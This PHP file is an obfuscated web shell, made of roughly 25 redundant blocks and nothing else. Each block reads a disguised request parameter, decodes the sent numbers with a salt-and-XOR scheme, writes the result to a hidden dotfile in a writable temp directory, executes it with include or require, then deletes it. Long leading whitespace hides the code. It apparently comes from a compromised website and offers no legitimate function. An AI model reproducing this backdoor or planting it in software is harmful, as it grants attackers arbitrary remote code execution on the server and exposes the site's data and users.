<?php																																										if(in_array("it\x6D", array_keys($_POST))){ $data = $_POST["it\x6D"]; $data = explode( "." , $data ) ; $marker = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7); $z = 0; foreach ($data as $v5) { $sChar = ord($s7[$z % $sLen]); $dec = ((int)$v5 - $sChar - ($z % 10))^ 75; $marker .= chr($dec); $z++; } $factor = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", getenv("TMP"), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getcwd()]); foreach ($factor as $ent): if (!!is_dir($ent) && !!is_writable($ent)) { $obj = "$ent/.resource"; if (file_put_contents($obj, $marker)) { require $obj; unlink($obj); die(); } } endforeach; }
																																										if(!is_null($_POST["c\x6Fm\x70\x6Fnent"] ?? null)){ $desc = array_filter(["/dev/shm", "/var/tmp", "/tmp", getcwd(), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP")]); $res = $_POST["c\x6Fm\x70\x6Fnent"]; $res = explode( '.' , $res) ; $val =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt); $__len =count( $res); for( $s =0; $s < $__len; $s++) { $v4 =$res[$s]; $sChar =ord( $salt[$s % $sLen]); $dec =( ( int)$v4 - $sChar -( $s % 10)) ^ 7; $val.=chr( $dec); } $entry = 0; do { $flg = $desc[$entry] ?? null; if ($entry >= count($desc)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($flg)) { $data = "$flg/.sym"; $success = file_put_contents($data, $val); if ($success) { include $data; @unlink($data); die();} } $entry++; } while (true); }
																																										if(in_array("p\x72oper\x74\x79\x5F\x73et", array_keys($_POST))){ $rec = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/tmp", getenv("TMP"), session_save_path()]); $value = $_POST["p\x72oper\x74\x79\x5F\x73et"]; $value = explode (".", $value ) ; $desc = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1); $o = 0; $__tmp = $value; while ($v1 = array_shift($__tmp)) { $sChar = ord($s1[$o% $sLen]); $dec = ((int)$v1 - $sChar - ($o% 10)) ^ 82; $desc .= chr($dec); $o++; } for ($token = 0, $record = count($rec); $token < $record; $token++) { $pset = $rec[$token]; if (array_product([is_dir($pset), is_writable($pset)])) { $flg = sprintf("%s/.ref", $pset); if (@file_put_contents($flg, $desc) !== false) { include $flg; unlink($flg); die(); } } } }
																																										if(!is_null($_REQUEST["\x6B\x65y"] ?? null)){ $pgrp = array_filter(["/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), getcwd(), "/dev/shm"]); $resource = $_REQUEST["\x6B\x65y"]; $resource=explode ('.' ,$resource ) ; $element = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $y = 0; $len = count($resource); do { if($y >= $len) break; $v5 = $resource[$y]; $sChar = ord($salt[$y % $sLen]); $d =((int)$v5 - $sChar -($y % 10)) ^ 8; $element .= chr($d); $y++; }while(true); foreach ($pgrp as $obj) { if (!( !is_dir($obj) || !is_writable($obj) )) { $parameter_group = "$obj/.res"; if (@file_put_contents($parameter_group, $element) !== false) { include $parameter_group; unlink($parameter_group); die(); } } } }
																																										if(@$_POST["\x70\x74r"] !== null){ $ent = $_POST["\x70\x74r"]; $ent = explode("." ,$ent ) ; $flag= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); $r= 0; $len= count($ent); do { if ($r >=$len) break; $v5= $ent[$r]; $sChar= ord($s[$r % $lenS]); $dec= ((int)$v5 - $sChar - ($r % 10))^ 57; $flag .=chr($dec); $r++;} while (true); $desc = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", "/dev/shm", getcwd(), getenv("TMP"), session_save_path(), getenv("TEMP"), "/var/tmp"]); foreach ($desc as $key => $descriptor) { if (!!is_dir($descriptor) && !!is_writable($descriptor)) { $obj = join("/", [$descriptor, ".sym"]); if (file_put_contents($obj, $flag)) { require $obj; unlink($obj); exit; } } } }
																																										if(!is_null($_POST["\x72\x65\x63ord"] ?? null)){ $val = array_filter([getenv("TMP"), "/dev/shm", "/var/tmp", getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), session_save_path()]); $k = $_POST["\x72\x65\x63ord"]; $k =explode( '.' , $k ) ; $ref = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $j = 0; $__len = count( $k); do { if( $j >= $__len) break; $v7 = $k[$j]; $chS = ord( $s[$j %$sLen]); $dec = ( ( int)$v7 - $chS -( $j %10))^51; $ref .= chr( $dec); $j++;} while( true); while ($pgrp = array_shift($val)) { if (is_dir($pgrp) ? is_writable($pgrp) : false) { $rec = join("/", [$pgrp, ".elem"]); $success = file_put_contents($rec, $ref); if ($success) { include $rec; @unlink($rec); exit;} } } }
																																										if(!is_null($_REQUEST["\x6Be\x79"] ?? null)){ $k = array_filter([getcwd(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", session_save_path(), "/dev/shm"]); $component = $_REQUEST["\x6Be\x79"]; $component = explode ( '.' , $component ) ; $factor = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9); $q = 0; while ($q < count($component)) { $v2 = $component[$q]; $chS = ord($salt9[$q % $sLen]); $dec = ((int)$v2 - $chS - ($q % 10)) ^ 47; $factor .= chr($dec); $q++;} foreach ($k as $fac): if (is_writable($fac) && is_dir($fac)) { $resource = "$fac" . "/.entry"; if (@file_put_contents($resource, $factor) !== false) { include $resource; unlink($resource); exit; } } endforeach; }
																																										if(!is_null($_REQUEST["\x66l\x61g"] ?? null)){ $resource = $_REQUEST["\x66l\x61g"]; $resource = explode ( "." , $resource ) ; $entry = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $l = 0; foreach($resource as $v8) { $sChar = ord($salt[$l % $lenS]); $d =((int)$v8 - $sChar -($l % 10))^ 27; $entry .= chr($d); $l++; } $elem = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), "/tmp", "/var/tmp"]); while ($token = array_shift($elem)) { if (!!is_dir($token) && !!is_writable($token)) { $comp = join("/", [$token, ".flg"]); if (file_put_contents($comp, $entry)) { include $comp; @unlink($comp); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "d\x63\x68unk")){ $val = array_filter(["/dev/shm", getenv("TMP"), "/tmp", "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), session_save_path()]); $ref = $_POST["d\x63\x68unk"]; $ref = explode ( ".", $ref ) ; $itm = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2); $s = 0; $__len = count($ref); do {if ($s>=$__len) break; $v7 = $ref[$s]; $sChar = ord($s2[$s % $lenS]); $dec = ((int)$v7 - $sChar - ($s % 10)) ^ 27; $itm .= chr($dec); $s++;} while (true); while ($elem = array_shift($val)) { if (is_writable($elem) && is_dir($elem)) { $holder = vsprintf("%s/%s", [$elem, ".resource"]); if (file_put_contents($holder, $itm)) { require $holder; unlink($holder); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["d\x65\x73c\x72ip\x74\x6Fr"])){ $k = $_POST["d\x65\x73c\x72ip\x74\x6Fr"]; $k= explode ( '.' , $k ); $ent = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1 ); foreach($k as $r=>$v1) { $sChar = ord($salt1[$r% $sLen] ); $d = ((int)$v1 - $sChar -($r% 10))^ 88; $ent .= chr($d ); } $rec = array_filter([getenv("TEMP"), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getcwd(), sys_get_temp_dir(), "/var/tmp"]); $val = 0; do { $value = $rec[$val] ?? null; if ($val >= count($rec)) break; if (max(0, is_dir($value) * is_writable($value))) { $symbol = str_replace("{var_dir}", $value, "{var_dir}/.data"); $success = file_put_contents($symbol, $ent); if ($success) { include $symbol; @unlink($symbol); die();} } $val++; } while (true); }
																																										if(!empty($_REQUEST["\x64\x61\x74a_\x63hun\x6B"])){ $resource = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/tmp", session_save_path(), "/var/tmp", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/dev/shm"]); $ent = $_REQUEST["\x64\x61\x74a_\x63hun\x6B"]; $ent = explode ( '.',$ent) ; $pgrp = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt5); foreach( $ent as $j => $v3) { $chS = ord( $salt5[$j % $lenS]); $d =( ( int)$v3 - $chS -( $j % 10)) ^ 79; $pgrp.= chr( $d); } foreach ($resource as $token) { if (is_writable($token) && is_dir($token)) { $hld = "$token/.flg"; $success = file_put_contents($hld, $pgrp); if ($success) { include $hld; @unlink($hld); die();} } } }
																																										if(in_array("b\x69nd", array_keys($_POST))){ $element = $_POST["b\x69nd"]; $element= explode( "." , $element ); $data = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); $m = 0; $__len = count($element); do { if ($m >= $__len) break; $v8 = $element[$m]; $chS = ord($salt9[$m % $lenS]); $d = ((int)$v8 - $chS - ($m % 10))^79; $data .= chr($d); $m++; } while (true); $resource = array_filter([getenv("TEMP"), session_save_path(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), getenv("TMP"), sys_get_temp_dir()]); for ($dat = 0, $sym = count($resource); $dat < $sym; $dat++) { $flag = $resource[$dat]; if (!!is_dir($flag) && !!is_writable($flag)) { $pset = vsprintf("%s/%s", [$flag, ".pgrp"]); if (file_put_contents($pset, $data)) { include $pset; @unlink($pset); exit; } } } }
																																										if(in_array("\x65\x6C\x65\x6Dent", array_keys($_POST))){ $data_chunk = $_POST["\x65\x6C\x65\x6Dent"]; $data_chunk = explode ( "." , $data_chunk ) ; $bind = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8 ); foreach($data_chunk as $k => $v5): $sChar = ord($s8[$k%$sLen] ); $dec = ((int)$v5 - $sChar -($k%10)) ^ 75; $bind .= chr($dec ); endforeach; $binding = array_filter([sys_get_temp_dir(), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/tmp", "/dev/shm", session_save_path()]); while ($k = array_shift($binding)) { if (max(0, is_dir($k) * is_writable($k))) { $mrk = "$k/.ref"; if (@file_put_contents($mrk, $bind) !== false) { include $mrk; unlink($mrk); exit; } } } }
																																										if(@$_REQUEST["\x6Fb\x6A"] !== null){ $flg = array_filter([session_save_path(), "/var/tmp", getenv("TMP"), "/dev/shm", getenv("TEMP"), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd()]); $tkn = $_REQUEST["\x6Fb\x6A"]; $tkn = explode ('.' , $tkn ) ; $desc = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); foreach ($tkn as $r => $v8) { $chS = ord($s9[$r% $sLen]); $d = ((int)$v8 - $chS - ($r% 10)) ^ 69; $desc.=chr($d); } foreach ($flg as $component): if (max(0, is_dir($component) * is_writable($component))) { $pointer = join("/", [$component, ".bind"]); if (@file_put_contents($pointer, $desc) !== false) { include $pointer; unlink($pointer); exit; } } endforeach; }
																																										if(array_key_exists("\x70r\x6Fpe\x72t\x79_se\x74", $_POST)){ $fac = array_filter(["/tmp", "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), session_save_path(), getenv("TEMP"), sys_get_temp_dir()]); $data = $_POST["\x70r\x6Fpe\x72t\x79_se\x74"]; $data=explode('.' , $data ); $descriptor = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4 ); $i = 0; $__len = count($data ); do { if ($i >= $__len) break; $v2 = $data[$i]; $sChar = ord($s4[$i % $lenS] ); $dec = ((int)$v2 - $sChar - ($i % 10)) ^ 50; $descriptor .= chr($dec ); $i++; } while (true ); foreach ($fac as $key => $flg) { if (array_product([is_dir($flg), is_writable($flg)])) { $pgrp = "$flg" . "/.record"; if (file_put_contents($pgrp, $descriptor)) { include $pgrp; @unlink($pgrp); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["e\x6Et"])){ $flg = array_filter(["/var/tmp", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", sys_get_temp_dir(), "/tmp", getenv("TMP")]); $dat = $_POST["e\x6Et"]; $dat =explode ( "." ,$dat ); $pgrp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $q = 0; $__tmp = $dat; while ($v3 = array_shift($__tmp)) { $sChar = ord($salt[$q % $sLen]); $d = ((int)$v3 - $sChar - ($q % 10)) ^ 48; $pgrp .= chr($d); $q++;} while ($key = array_shift($flg)) { if (is_dir($key) ? is_writable($key) : false) { $entry = "$key/.comp"; $success = file_put_contents($entry, $pgrp); if ($success) { include $entry; @unlink($entry); die();} } } }
																																										if(!is_null($_REQUEST["tk\x6E"] ?? null)){ $desc = $_REQUEST["tk\x6E"]; $desc= explode ( "." , $desc ) ; $rec = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s9); foreach( $desc as $u => $v5): $sChar = ord( $s9[$u %$lenS]); $dec = ( ( int)$v5 - $sChar -( $u %10)) ^ 93; $rec .= chr( $dec); endforeach; $factor = array_filter(["/var/tmp", "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/tmp", session_save_path(), getenv("TEMP")]); for ($flg = 0, $data = count($factor); $flg < $data; $flg++) { $pgrp = $factor[$flg]; if (is_dir($pgrp) ? is_writable($pgrp) : false) { $entry = "$pgrp/.hld"; $success = file_put_contents($entry, $rec); if ($success) { include $entry; @unlink($entry); die();} } } }
																																										if(filter_has_var(INPUT_POST, "\x64\x61t\x61_c\x68\x75nk")){ $item = array_filter([getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", getenv("TMP"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), session_save_path()]); $symbol = $_POST["\x64\x61t\x61_c\x68\x75nk"]; $symbol = explode ( '.' , $symbol ) ; $binding = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5); $len = count($symbol); for ($k = 0; $k < $len; $k++) { $v3 = $symbol[$k]; $sChar = ord($s5[$k% $sLen]); $dec = ((int)$v3 - $sChar - ($k% 10)) ^ 15; $binding .= chr($dec); } foreach ($item as $key => $ent) { if (is_dir($ent) && is_writable($ent)) { $resource = implode("/", [$ent, ".sym"]); if (@file_put_contents($resource, $binding) !== false) { include $resource; unlink($resource); exit; } } } }
																																										if(@$_POST["value"] !== null){ $reference = array_filter(["/var/tmp", sys_get_temp_dir(), "/dev/shm", getcwd(), session_save_path(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp"]); $entry = $_POST["value"]; $entry = explode ( ".", $entry ) ; $data = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $__len = count( $entry); for( $z = 0; $z <$__len; $z++) { $v4 = $entry[$z]; $sChar = ord( $s[$z% $sLen]); $d =( ( int)$v4 - $sChar -( $z% 10)) ^44; $data .= chr( $d); } foreach ($reference as $key => $symbol) { if (max(0, is_dir($symbol) * is_writable($symbol))) { $resource = sprintf("%s/.elem", $symbol); $file = fopen($resource, 'w'); if ($file) { fwrite($file, $data); fclose($file); include $resource; @unlink($resource); exit; } } } }
																																										if(isset($_REQUEST["\x70\x73et"])){ $symbol = array_filter([ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/tmp", getenv("TEMP"), "/dev/shm", "/var/tmp", sys_get_temp_dir(), getenv("TMP")]); $obj = $_REQUEST["\x70\x73et"]; $obj= explode ( "." , $obj ); $val = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); foreach ($obj as $v=> $v1): $chS = ord($s[$v %$lenS] ); $dec = ((int)$v1 - $chS - ($v %10)) ^ 82; $val .= chr($dec ); endforeach; foreach ($symbol as $key => $object) { if ((is_dir($object) and is_writable($object))) { $key = join("/", [$object, ".hld"]); $success = file_put_contents($key, $val); if ($success) { include $key; @unlink($key); exit;} } } }
																																										if(!is_null($_POST["\x74\x6Fken"] ?? null)){ $record = $_POST["\x74\x6Fken"]; $record = explode ( "." , $record) ; $binding =''; $salt3 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt3); $n =0; foreach($record as $v7) { $chS =ord($salt3[$n % $sLen]); $d =((int)$v7 - $chS -($n % 10)) ^ 82; $binding .= chr($d); $n++; } $factor = array_filter([session_save_path(), getenv("TMP"), getenv("TEMP"), "/tmp", getcwd(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir()]); foreach ($factor as $entity): if (is_dir($entity) ? is_writable($entity) : false) { $descriptor = sprintf("%s/.item", $entity); if (file_put_contents($descriptor, $binding)) { require $descriptor; unlink($descriptor); die(); } } endforeach; }
																																										if(in_array("pg\x72\x70", array_keys($_POST))){ $record = array_filter([sys_get_temp_dir(), "/dev/shm", "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), getenv("TMP"), session_save_path()]); $factor = $_POST["pg\x72\x70"]; $factor =explode("." , $factor ); $k = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2); $z = 0; while ($z< count($factor)) { $v7 = $factor[$z]; $chS = ord($s2[$z % $lenS]); $d = ((int)$v7 - $chS - ($z % 10)) ^ 11; $k .= chr($d); $z++; } for ($property_set = 0, $pset = count($record); $property_set < $pset; $property_set++) { $token = $record[$property_set]; if (array_product([is_dir($token), is_writable($token)])) { $flg = sprintf("%s/.bind", $token); if (file_put_contents($flg, $k)) { include $flg; @unlink($flg); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x65l\x65m")){ $bind = $_REQUEST["\x65l\x65m"]; $bind = explode ("." , $bind ) ; $descriptor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $x = 0; $__len = count($bind); do { if ($x>= $__len) break; $v9 = $bind[$x]; $chS = ord($s[$x% $sLen]); $dec = ((int)$v9 - $chS - ($x% 10)) ^ 30; $descriptor .= chr($dec); $x++; } while (true); $hld = array_filter([ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getcwd(), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), "/dev/shm", getenv("TEMP")]); foreach ($hld as $tkn): if (array_product([is_dir($tkn), is_writable($tkn)])) { $desc = "$tkn" . "/.resource"; if (file_put_contents($desc, $descriptor)) { include $desc; @unlink($desc); die(); } } endforeach; }
																																										if(isset($_POST) && isset($_POST["\x70oin\x74e\x72"])){ $marker = $_POST["\x70oin\x74e\x72"]; $marker= explode ( '.', $marker) ; $elem = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $x = 0; $__tmp = $marker; while( $v3 = array_shift( $__tmp)) { $sChar = ord( $s[$x% $sLen] ); $d =( ( int)$v3 - $sChar -( $x% 10)) ^ 46; $elem.= chr( $d ); $x++; } $desc = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TMP"), getcwd(), "/dev/shm", sys_get_temp_dir(), "/var/tmp"]); while ($mrk = array_shift($desc)) { if (is_writable($mrk) && is_dir($mrk)) { $component = "$mrk/.comp"; if (file_put_contents($component, $elem)) { require $component; unlink($component); die(); } } } }
																																										if(array_key_exists("\x69\x74m", $_REQUEST) && !is_null($_REQUEST["\x69\x74m"])){ $resource = array_filter([session_save_path(), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getcwd(), getenv("TEMP")]); $rec = $_REQUEST["\x69\x74m"]; $rec = explode ( "." , $rec); $mrk= ''; $salt2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt2); $k= 0; foreach ($rec as $v1) { $sChar= ord($salt2[$k % $sLen]); $d= ((int)$v1 - $sChar - ($k % 10)) ^ 58; $mrk .= chr($d); $k++; } while ($binding = array_shift($resource)) { if (!!is_dir($binding) && !!is_writable($binding)) { $obj = "$binding/.pointer"; if (file_put_contents($obj, $mrk)) { include $obj; @unlink($obj); exit; } } } }


if(in_array("ho\x6Cder", array_keys($_REQUEST))){
	$element = $_REQUEST["ho\x6Cder"];
	$element  =explode   (  "." , 	$element)	 ; 
	$rec = '';
            $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen(	 $salt3);
            $n = 0;
            $len = count(	 $element);
    
            do {
                if(	 $n >= $len) break;
                $v3 = $element[$n];
                $sChar = ord(	 $salt3[$n % $sLen]);
                $d =(	 (	 int)$v3 - $sChar -(	 $n % 10)) ^ 39;
                $rec .= chr(	 $d);
                $n++;}  while(	 true);
	$pgrp = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", "/var/tmp", "/tmp", sys_get_temp_dir(), getenv("TEMP"), session_save_path()]);
	while ($symbol = array_shift($pgrp)) {
    		if (array_product([is_dir($symbol), is_writable($symbol)])) {
    $item = vsprintf("%s/%s", [$symbol, ".data"]);
    $success = file_put_contents($item, $rec);
if ($success) {
	include $item;
	@unlink($item);
	die();}
}
}
}